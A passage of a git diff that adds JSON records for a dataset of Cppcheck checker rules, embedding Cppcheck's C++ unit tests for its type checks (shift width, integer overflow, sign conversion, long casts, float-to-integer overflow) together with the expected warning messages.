$.settings = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n // c++14\n check(type + \" foo(\" + type + \" x) { return x << 31; }\", dinit(CheckOptions, $.settings = &settings, $.standard = Standards::CPP14));\n ASSERT_EQUALS(\"[test.cpp:1]: (portability) Shifting signed 32-bit value by 31 bits is implementation-defined behaviour\\n\", errout_str());\n check(type + \" f(int x) { return (x = (\" + type + \")x << 32); }\", dinit(CheckOptions, $.settings = &settings, $.standard = Standards::CPP14));\n ASSERT_EQUALS(\"[test.cpp:1]: (error) Shifting 32-bit value by 32 bits is undefined behaviour\\n\", errout_str());\n }\n }\n // 64 bit width types\n {\n // unsigned long long\n check(\"unsigned long long foo(unsigned long long x) { return x << 64; }\",dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:1]: (error) Shifting 64-bit value by 64 bits is undefined behaviour\\n\", errout_str());\n check(\"unsigned long long f(int x) { return (x = (unsigned long long)x << 64); }\",dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:1]: (error) Shifting 64-bit value by 64 bits is undefined behaviour\\n\", errout_str());\n check(\"unsigned long long f(unsigned long long x) { return x << 63; }\",dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n // [signed] long long\n check(\"long long foo(long long x) { return x << 64; }\",dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:1]: (error) Shifting 64-bit value by 64 bits is undefined behaviour\\n\", errout_str());\n check(\"long long f(int x) { return (x = (long long)x << 64); }\",dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:1]: (error) Shifting 64-bit value by 64 bits is undefined behaviour\\n\", errout_str());\n check(\"long long f(long long x) { return x << 63; }\",dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:1]: (error) Shifting signed 64-bit value by 63 bits is undefined behaviour\\n\", errout_str());\n check(\"long long f(long long x) { return x << 62; }\",dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n // signed long long\n check(\"signed long long foo(signed long long x) { return x << 64; }\",dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:1]: (error) Shifting 64-bit value by 64 bits is undefined behaviour\\n\", errout_str());\n check(\"signed long long f(long long x) { return (x = (signed long long)x << 64); }\",dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:1]: (error) Shifting 64-bit value by 64 bits is undefined behaviour\\n\", errout_str());\n check(\"signed long long f(signed long long x) { return x << 63; }\",dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:1]: (error) Shifting signed 64-bit value by 63 bits is undefined behaviour\\n\", errout_str());\n check(\"signed long long f(signed long long x) { return x << 62; }\",dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n // c++14\n check(\"signed long long foo(signed long long x) { return x << 64; }\", dinit(CheckOptions, $.settings = &settings, $.standard = Standards::CPP14));\n ASSERT_EQUALS(\"[test.cpp:1]: (error) Shifting 64-bit value by 64 bits is undefined behaviour\\n\", errout_str());\n check(\"signed long long f(long long x) { return (x = (signed long long)x << 64); }\", dinit(CheckOptions, $.settings = &settings, $.standard = Standards::CPP14));\n ASSERT_EQUALS(\"[test.cpp:1]: (error) Shifting 64-bit value by 64 bits is undefined behaviour\\n\", errout_str());\n check(\"signed long long f(signed long long x) { return x << 63; }\", dinit(CheckOptions, $.settings = &settings, $.standard = Standards::CPP14));\n ASSERT_EQUALS(\"[test.cpp:1]: (portability) Shifting signed 64-bit value by 63 bits is implementation-defined behaviour\\n\", errout_str());\n check(\"signed long long f(signed long long x) { return x << 62; }\",dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"void f() { int x; x = 1 >> 64; }\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:1]: (error) Shifting 32-bit value by 64 bits is undefined behaviour\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" QList someList;\\n\"\n \" someList << 300;\\n\"\n \"}\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #6793\n check(\"template int foo(unsigned int x) { return x << I; }\\n\"\n \"const unsigned int f = foo<31>(0);\\n\"\n \"const unsigned int g = foo<100>(0);\\n\"\n \"template int hoo(unsigned int x) { return x << 32; }\\n\"\n \"const unsigned int h = hoo<100>(0);\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:4]: (error) Shifting 32-bit value by 32 bits is undefined behaviour\\n\"\n \"[test.cpp:1]: (error) Shifting 32-bit value by 100 bits is undefined behaviour\\n\", errout_str());\n\n // #7266: C++, shift in macro\n check(\"void f(unsigned int x) {\\n\"\n \" UINFO(x << 1234);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8640\n check(\"int f (void)\\n\"\n \"{\\n\"\n \" constexpr const int a = 1;\\n\"\n \" constexpr const int shift[1] = {32};\\n\"\n \" constexpr const int ret = a << shift[0];\\n\" // shift too many bits\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5]: (error) Shifting 32-bit value by 32 bits is undefined behaviour\\n\"\n \"[test.cpp:5]: (error) Signed integer overflow for expression 'a< 32)\\n\"\n \" return 0;\\n\"\n \" return rm>> k;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4] -> [test.cpp:6]: (warning) Shifting signed 32-bit value by 31 bits is undefined behaviour. See condition at line 4.\\n\",\n errout_str());\n\n check(\"int f(int k, int rm) {\\n\"\n \" if (k == 0 || k == 32)\\n\"\n \" return 0;\\n\"\n \" else if (k > 32)\\n\"\n \" return 0;\\n\"\n \" else\\n\"\n \" return rm>> k;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4] -> [test.cpp:7]: (warning) Shifting signed 32-bit value by 31 bits is undefined behaviour. See condition at line 4.\\n\",\n errout_str());\n\n check(\"int f(int k, int rm) {\\n\"\n \" if (k == 0 || k == 32 || k == 31)\\n\"\n \" return 0;\\n\"\n \" else if (k > 32)\\n\"\n \" return 0;\\n\"\n \" else\\n\"\n \" return rm>> k;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"static long long f(int x, long long y) {\\n\"\n \" if (x >= 64)\\n\"\n \" return 0;\\n\"\n \" return -(y << (x-1));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" std::ofstream outfile;\\n\"\n \" outfile << vec_points[0](0) << static_cast(d) << ' ';\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned b, int len, unsigned char rem) {\\n\" // #10773\n \" int bits = 0;\\n\"\n \" while (len > 8) {\\n\"\n \" b = b >> rem;\\n\"\n \" bits += 8 - rem;\\n\"\n \" if (bits == 512)\\n\"\n \" len -= 8;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkIntegerOverflow() {\n const Settings settings = settingsBuilder().severity(Severity::warning).platform(Platform::Type::Unix32).build();\n\n check(\"x = (int)0x10000 * (int)0x10000;\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:1:18]: (error) Signed integer overflow for expression '(int)0x10000*(int)0x10000'. [integerOverflow]\\n\", errout_str());\n\n check(\"x = (long)0x10000 * (long)0x10000;\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:1:19]: (error) Signed integer overflow for expression '(long)0x10000*(long)0x10000'. [integerOverflow]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int intmax = 0x7fffffff;\\n\"\n \" return intmax + 1;\\n\"\n \"}\",dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:19]: (error) Signed integer overflow for expression 'intmax+1'. [integerOverflow]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int intmax = 0x7fffffff;\\n\"\n \" return intmax - 1;\\n\"\n \"}\",dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(signed int x) {\\n\"\n \" if (x==123456) {}\\n\"\n \" return x * x;\\n\"\n \"}\",dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:13]: (warning) Either the condition 'x==123456' is redundant or there is signed integer overflow for expression 'x*x'. [integerOverflowCond]\\n\", errout_str());\n\n check(\"int foo(signed int x) {\\n\"\n \" if (x==123456) {}\\n\"\n \" return -123456 * x;\\n\"\n \"}\",dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:19]: (warning) Either the condition 'x==123456' is redundant or there is signed integer underflow for expression '-123456*x'. [integerOverflowCond]\\n\", errout_str());\n\n check(\"int foo(signed int x) {\\n\"\n \" if (x==123456) {}\\n\"\n \" return 123456U * x;\\n\"\n \"}\",dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #12117\n \" return (i == 31) ? 1 << i : 0;\\n\"\n \"}\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:2:15] -> [test.cpp:2:26]: (warning) Shifting signed 32-bit value by 31 bits is undefined behaviour. See condition at line 2. [shiftTooManyBitsSigned]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #13092\n \" int n = 0;\\n\"\n \" for (int i = 0; i < 10; i++) {\\n\"\n \" n = n * 47163 - 57412;\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:4:15]: (error) Signed integer underflow for expression 'n*47163'. [integerOverflow]\\n\"\n \"[test.cpp:4:23]: (error) Signed integer underflow for expression 'n*47163-57412'. [integerOverflow]\\n\",\n errout_str());\n }\n\n void signConversion() {\n const Settings settings = settingsBuilder().platform(Platform::Type::Unix64).build();\n check(\"x = -4 * (unsigned)y;\");\n ASSERT_EQUALS(\"[test.cpp:1:6]: (warning) Expression '-4' has a negative value. That is converted to an unsigned value and used in an unsigned calculation. [signConversion]\\n\", errout_str());\n\n check(\"x = (unsigned)y * -4;\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (warning) Expression '-4' has a negative value. That is converted to an unsigned value and used in an unsigned calculation. [signConversion]\\n\", errout_str());\n\n check(\"unsigned int dostuff(int x) {\\n\" // x is signed\n \" if (x==0) {}\\n\"\n \" return (x-1)*sizeof(int);\\n\"\n \"}\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:2:8] -> [test.cpp:3:12]: (warning) Expression 'x-1' can have a negative value. That is converted to an unsigned value and used in an unsigned calculation. [signConversionCond]\\n\", errout_str());\n\n check(\"unsigned int f1(signed int x, unsigned int y) {\" // x is signed\n \" return x * y;\\n\"\n \"}\\n\"\n \"void f2() { f1(-4,4); }\");\n ASSERT_EQUALS(\n \"[test.cpp:1:57]: (warning) Expression 'x' can have a negative value. That is converted to an unsigned value and used in an unsigned calculation. [signConversion]\\n\",\n errout_str());\n\n check(\"unsigned int f1(int x) {\"\n \" return x * 5U;\\n\"\n \"}\\n\"\n \"void f2() { f1(-4); }\");\n ASSERT_EQUALS(\n \"[test.cpp:1:34]: (warning) Expression 'x' can have a negative value. That is converted to an unsigned value and used in an unsigned calculation. [signConversion]\\n\",\n errout_str());\n\n check(\"unsigned int f1(int x) {\" // #6168: FP for inner calculation\n \" return 5U * (1234 - x);\\n\" // <- signed subtraction, x is not sign converted\n \"}\\n\"\n \"void f2() { f1(-4); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Don't warn for + and -\n check(\"void f1(int x) {\"\n \" a = x + 5U;\\n\"\n \"}\\n\"\n \"void f2() { f1(-4); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t foo(size_t x) {\\n\"\n \" return -2 * x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Expression '-2' has a negative value. That is converted to an unsigned value and used in an unsigned calculation. [signConversion]\\n\", errout_str());\n\n checkP(\"void f() {\\n\" // #12110 FP signConversion with integer overflow\n \" if (LLONG_MIN / (-1)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void longCastAssign() {\n const Settings settings = settingsBuilder().severity(Severity::style).platform(Platform::Type::Unix64).build();\n const Settings settingsWin = settingsBuilder().severity(Severity::style).platform(Platform::Type::Win64).build();\n\n const char code[] = \"long f(int x, int y) {\\n\"\n \" const long ret = x * y;\\n\"\n \" return ret;\\n\"\n \"}\\n\";\n check(code, dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) int result is assigned to long variable. If the variable is long to avoid loss of information, then you have loss of information. [truncLongCastAssignment]\\n\", errout_str());\n check(code, dinit(CheckOptions, $.settings = &settingsWin));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"long f(int x, int y) {\\n\"\n \" long ret = x * y;\\n\"\n \" return ret;\\n\"\n \"}\\n\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) int result is assigned to long variable. If the variable is long to avoid loss of information, then you have loss of information. [truncLongCastAssignment]\\n\", errout_str());\n\n check(\"long f() {\\n\"\n \" const long long ret = 256 * (1 << 10);\\n\"\n \" return ret;\\n\"\n \"}\\n\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n // typedef\n check(\"long f(int x, int y) {\\n\"\n \" const size_t ret = x * y;\\n\"\n \" return ret;\\n\"\n \"}\\n\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n // astIsIntResult\n check(\"long f(int x, int y) {\\n\"\n \" const long ret = (long)x * y;\\n\"\n \" return ret;\\n\"\n \"}\\n\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"double g(float f) {\\n\"\n \" return f * f;\\n\"\n \"}\\n\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) float result is returned as double value. If the return value is double to avoid loss of information, then you have loss of information. [truncLongCastReturn]\\n\",\n errout_str());\n\n check(\"void f(int* p) {\\n\" // #11862\n \" long long j = *(p++);\\n\"\n \"}\\n\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\" // #12393\n \"struct S {\\n\"\n \" S& operator=(const S&) { return *this; }\\n\"\n \" struct U {\\n\"\n \" S* p;\\n\"\n \" };\\n\"\n \" U u;\\n\"\n \"};\\n\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"void f(long& r, long i) {\\n\"\n \" r = 1 << i;\\n\"\n \"}\\n\", dinit(CheckOptions, $.settings = &settingsWin));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void longCastReturn() {\n const Settings settings = settingsBuilder().severity(Severity::style).platform(Platform::Type::Unix64).build();\n const Settings settingsWin = settingsBuilder().severity(Severity::style).platform(Platform::Type::Win64).build();\n\n const char code[] = \"long f(int x, int y) {\\n\"\n \" return x * y;\\n\"\n \"}\\n\";\n check(code, dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:2:3]: (style) int result is returned as long value. If the return value is long to avoid loss of information, then you have loss of information. [truncLongCastReturn]\\n\", errout_str());\n check(code, dinit(CheckOptions, $.settings = &settingsWin));\n ASSERT_EQUALS(\"\", errout_str());\n\n const char code2[] = \"long long f(int x, int y) {\\n\"\n \" return x * y;\\n\"\n \"}\\n\";\n check(code2, dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:2:3]: (style) int result is returned as long long value. If the return value is long long to avoid loss of information, then you have loss of information. [truncLongCastReturn]\\n\", errout_str());\n check(code2, dinit(CheckOptions, $.settings = &settingsWin));\n ASSERT_EQUALS(\"[test.cpp:2:3]: (style) int result is returned as long long value. If the return value is long long to avoid loss of information, then you have loss of information. [truncLongCastReturn]\\n\", errout_str());\n\n // typedef\n check(\"size_t f(int x, int y) {\\n\"\n \" return x * y;\\n\"\n \"}\\n\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:2:3]: (style) int result is returned as long value. If the return value is long to avoid loss of information, then you have loss of information. [truncLongCastReturn]\\n\", errout_str());\n }\n\n // This function ensure that test works with different compilers. Floats can\n // be stringified differently.\n static std::string removeFloat(const std::string& msg) {\n const std::string::size_type pos1 = msg.find(\"float (\");\n const std::string::size_type pos2 = msg.find(\") to integer conversion\");\n if (pos1 == std::string::npos || pos2 == std::string::npos || pos1 > pos2)\n return msg;\n return msg.substr(0,pos1+7) + msg.substr(pos2);\n }\n\n void checkFloatToIntegerOverflow() {\n check(\"x = (int)1E100;\");\n ASSERT_EQUALS(\"[test.cpp:1:5]: (error) Undefined behaviour: float () to integer conversion overflow. [floatConversionOverflow]\\n\", removeFloat(errout_str()));\n\n check(\"void f(void) {\\n\"\n \" return (int)1E100;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (error) Undefined behaviour: float () to integer conversion overflow. [floatConversionOverflow]\\n\", removeFloat(errout_str()));\n\n check(\"void f(void) {\\n\"\n \" return (int)-1E100;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (error) Undefined behaviour: float () to integer conversion overflow. [floatConversionOverflow]\\n\", removeFloat(errout_str()));\n\n check(\"void f(void) {\\n\"\n \" return (short)1E6;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (error) Undefined behaviour: float () to integer conversion overflow. [floatConversionOverflow]\\n\", removeFloat(errout_str()));\n\n check(\"void f(void) {\\n\"\n \" return (unsigned char)256.0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (error) Undefined behaviour: float () to integer conversion overflow. [floatConversionOverflow]\\n\", removeFloat(errout_str()));\n\n check(\"void f(void) {\\n\"\n \" return (unsigned char)255.5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", removeFloat(errout_str()));\n\n check(\"void f(void) {\\n\"\n \" char c = 1234.5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (error) Undefined behaviour: float () to integer conversion overflow. [floatConversionOverflow]\\n\", removeFloat(errout_str()));\n\n check(\"char f(void) {\\n\"\n \" return 1234.5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (error) Undefined behaviour: float () to integer conversion overflow. [floatConversionOverflow]\\n\", removeFloat(errout_str()));\n\n checkP(\"#define TEST(b, f) b ? 5000 : (unsigned short)f\\n\" // #11685\n \"void f()\\n\"\n \"{\\n\"\n \" unsigned short u = TEST(true, 75000.0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define TEST(b, f) b ? 5000 : (unsigned short)f\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" unsigned short u = TEST(false, 75000.0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:24]: (error) Undefined behaviour: float () to integer conversion overflow. [floatConversionOverflow]\\n\", removeFloat(errout_str()));\n\n check( \"bool f(unsigned short x);\\n\"\n \"bool g() {\\n\"\n \" return false && f((unsigned short)75000.0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check( \"bool f(unsigned short x);\\n\"\n \"bool g() {\\n\"\n \" return true && f((unsigned short)75000.0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:22]: (error) Undefined behaviour: float () to integer conversion overflow. [floatConversionOverflow]\\n\", removeFloat(errout_str()));\n\n check( \"bool f(unsigned short x);\\n\"\n \"bool g() {\\n\"\n \" return true || f((unsigned short)75000.0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check( \"bool f(unsigned short x);\\n\"\n \"bool g() {\\n\"\n \" return false || f((unsigned short)75000.0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (error) Undefined behaviour: float () to integer conversion overflow. [floatConversionOverflow]\\n\", removeFloat(errout_str()));\n\n checkP(\"#define TEST(b, f) b ? 5000 : (unsigned short)f\\n\" // #11685\n \"void f()\\n\"\n \"{\\n\"\n \" unsigned short u = TEST(true, 75000.0);\\n\"\n \"}\\n\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define TEST(b, f) b ? 5000 : (unsigned short)f\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" unsigned short u = TEST(false, 75000.0);\\n\"\n \"}\\n\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:4:24]: (error) Undefined behaviour: float () to integer conversion overflow. [floatConversionOverflow]\\n\", removeFloat(errout_str()));\n\n }\n\n void integerOverflow() { // #11794\n // std.cfg for int32_t\n // Platform::Unix32 for INT_MIN=-2147483648 and INT32_MAX=2147483647\n const Settings s = settingsBuilder().library(\"std.cfg\").cpp(Standards::CPP11).platform(Platform::Unix32).build();\n\n checkP(\"int fun(int x)\\n\"\n \"{\\n\"\n \" if(x < 0) x = -x;\\n\"\n \" return x >= 0;\\n\"\n \"}\\n\"\n \"int f()\\n\"\n \"{\\n\"\n \" fun(INT_MIN);\\n\"\n \"}\", dinit(CheckPOptions, $.settings = &s));\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Signed integer overflow for expression '-x'. [integerOverflow]\\n\", errout_str());\n\n checkP(\"void f() {\\n\" // #8399\n \" int32_t i = INT32_MAX;\\n\"\n \" i << 1;\\n\"\n \" i << 2;\\n\"\n \"}\", dinit(CheckPOptions, $.settings = &s));\n ASSERT_EQUALS(\"[test.cpp:4:7]: (error) Signed integer overflow for expression 'i<<2'. [integerOverflow]\\n\", errout_str());\n }\n\n void shiftTooManyBits() { // #11496\n check(\"template struct B {\\n\"\n \" unsigned long long f(unsigned int n) const {\\n\"\n \" if (width == 1)\\n\"\n \" return 1ULL << width;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"static B<64> b;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n};\n\nREGISTER_TEST(TestType)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckType/checkLongCast.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckType/checkLongCast.json new file mode 100644 index 0000000..9683787 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckType/checkLongCast.json @@ -0,0 +1,13 @@ +{ + "name": "checkLongCast", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 55, + "branches": 16, + "apis": 55, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckType/checkSignConversion.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckType/checkSignConversion.json new file mode 100644 index 0000000..3425433 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckType/checkSignConversion.json @@ -0,0 +1,22 @@ +{ + "name": "checkSignConversion", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 26, + "branches": 9, + "apis": 26, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 330 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checktype.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"platform.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n\n#include \n#include \n\nclass TestType : public TestFixture {\npublic:\n TestType() : TestFixture(\"TestType\") {}\n\nprivate:\n\n\n void run() override {\n TEST_CASE(checkTooBigShift_Unix32);\n mNewTemplate = true;\n TEST_CASE(checkIntegerOverflow);\n TEST_CASE(signConversion);\n TEST_CASE(longCastAssign);\n TEST_CASE(longCastReturn);\n TEST_CASE(checkFloatToIntegerOverflow);\n TEST_CASE(integerOverflow); // #11794\n TEST_CASE(shiftTooManyBits); // #11496\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n const Settings* settings = nullptr;\n Standards::cppstd_t standard = Standards::cppstd_t::CPP11;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], const CheckOptions& options = make_default_obj()) {\n const Settings settings1 = settingsBuilder(options.settings ? *options.settings : settingsDefault).severity(Severity::warning).severity(Severity::portability).cpp(options.standard).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n // TODO: get rid of this\n void check_(const char* file, int line, const std::string& code, const CheckOptions& options = make_default_obj()) {\n const Settings settings1 = settingsBuilder(options.settings ? *options.settings : settingsDefault).severity(Severity::warning).severity(Severity::portability).cpp(options.standard).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n struct CheckPOptions\n {\n CheckPOptions() = default;\n const Settings* settings = nullptr;\n bool cpp = true;\n };\n\n#define checkP(...) checkP_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkP_(const char* file, int line, const char (&code)[size], const CheckPOptions& options = make_default_obj()) {\n const Settings settings1 = settingsBuilder(options.settings ? *options.settings : settingsDefault).severity(Severity::warning).severity(Severity::portability).build();\n\n SimpleTokenizer2 tokenizer(settings1, *this, code, options.cpp ? \"test.cpp\" : \"test.c\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n void checkTooBigShift_Unix32() {\n const Settings settings = settingsBuilder().platform(Platform::Type::Unix32).build();\n\n // unsigned types getting promoted to int sizeof(int) = 4 bytes\n // and unsigned types having already a size of 4 bytes\n {\n const std::string types[] = {\"unsigned char\", /*[unsigned]*/ \"char\", \"bool\", \"unsigned short\", \"unsigned int\", \"unsigned long\"};\n for (const std::string& type : types) {\n check(type + \" f(\" + type +\" x) { return x << 31; }\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n check(type + \" f(\" + type +\" x) { return x << 33; }\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:1]: (error) Shifting 32-bit value by 33 bits is undefined behaviour\\n\", errout_str());\n check(type + \" f(int x) { return (x = (\" + type + \")x << 32); }\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:1]: (error) Shifting 32-bit value by 32 bits is undefined behaviour\\n\", errout_str());\n check(type + \" foo(\" + type + \" x) { return x << 31; }\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n // signed types getting promoted to int sizeof(int) = 4 bytes\n // and signed types having already a size of 4 bytes\n {\n const std::string types[] = {\"signed char\", \"signed short\", /*[signed]*/ \"short\", \"wchar_t\", /*[signed]*/ \"int\", \"signed int\", /*[signed]*/ \"long\", \"signed long\"};\n for (const std::string& type : types) {\n // c++11\n check(type + \" f(\" + type +\" x) { return x << 33; }\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:1]: (error) Shifting 32-bit value by 33 bits is undefined behaviour\\n\", errout_str());\n check(type + \" f(int x) { return (x = (\" + type + \")x << 32); }\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:1]: (error) Shifting 32-bit value by 32 bits is undefined behaviour\\n\", errout_str());\n check(type + \" foo(\" + type + \" x) { return x << 31; }\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:1]: (error) Shifting signed 32-bit value by 31 bits is undefined behaviour\\n\", errout_str());\n check(type + \" foo(\" + type + \" x) { return x << 30; }\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n // c++14\n check(type + \" foo(\" + type + \" x) { return x << 31; }\", dinit(CheckOptions, $.settings = &settings, $.standard = Standards::CPP14));\n ASSERT_EQUALS(\"[test.cpp:1]: (portability) Shifting signed 32-bit value by 31 bits is implementation-defined behaviour\\n\", errout_str());\n check(type + \" f(int x) { return (x = (\" + type + \")x << 32); }\", dinit(CheckOptions, $.settings = &settings, $.standard = Standards::CPP14));\n ASSERT_EQUALS(\"[test.cpp:1]: (error) Shifting 32-bit value by 32 bits is undefined behaviour\\n\", errout_str());\n }\n }\n // 64 bit 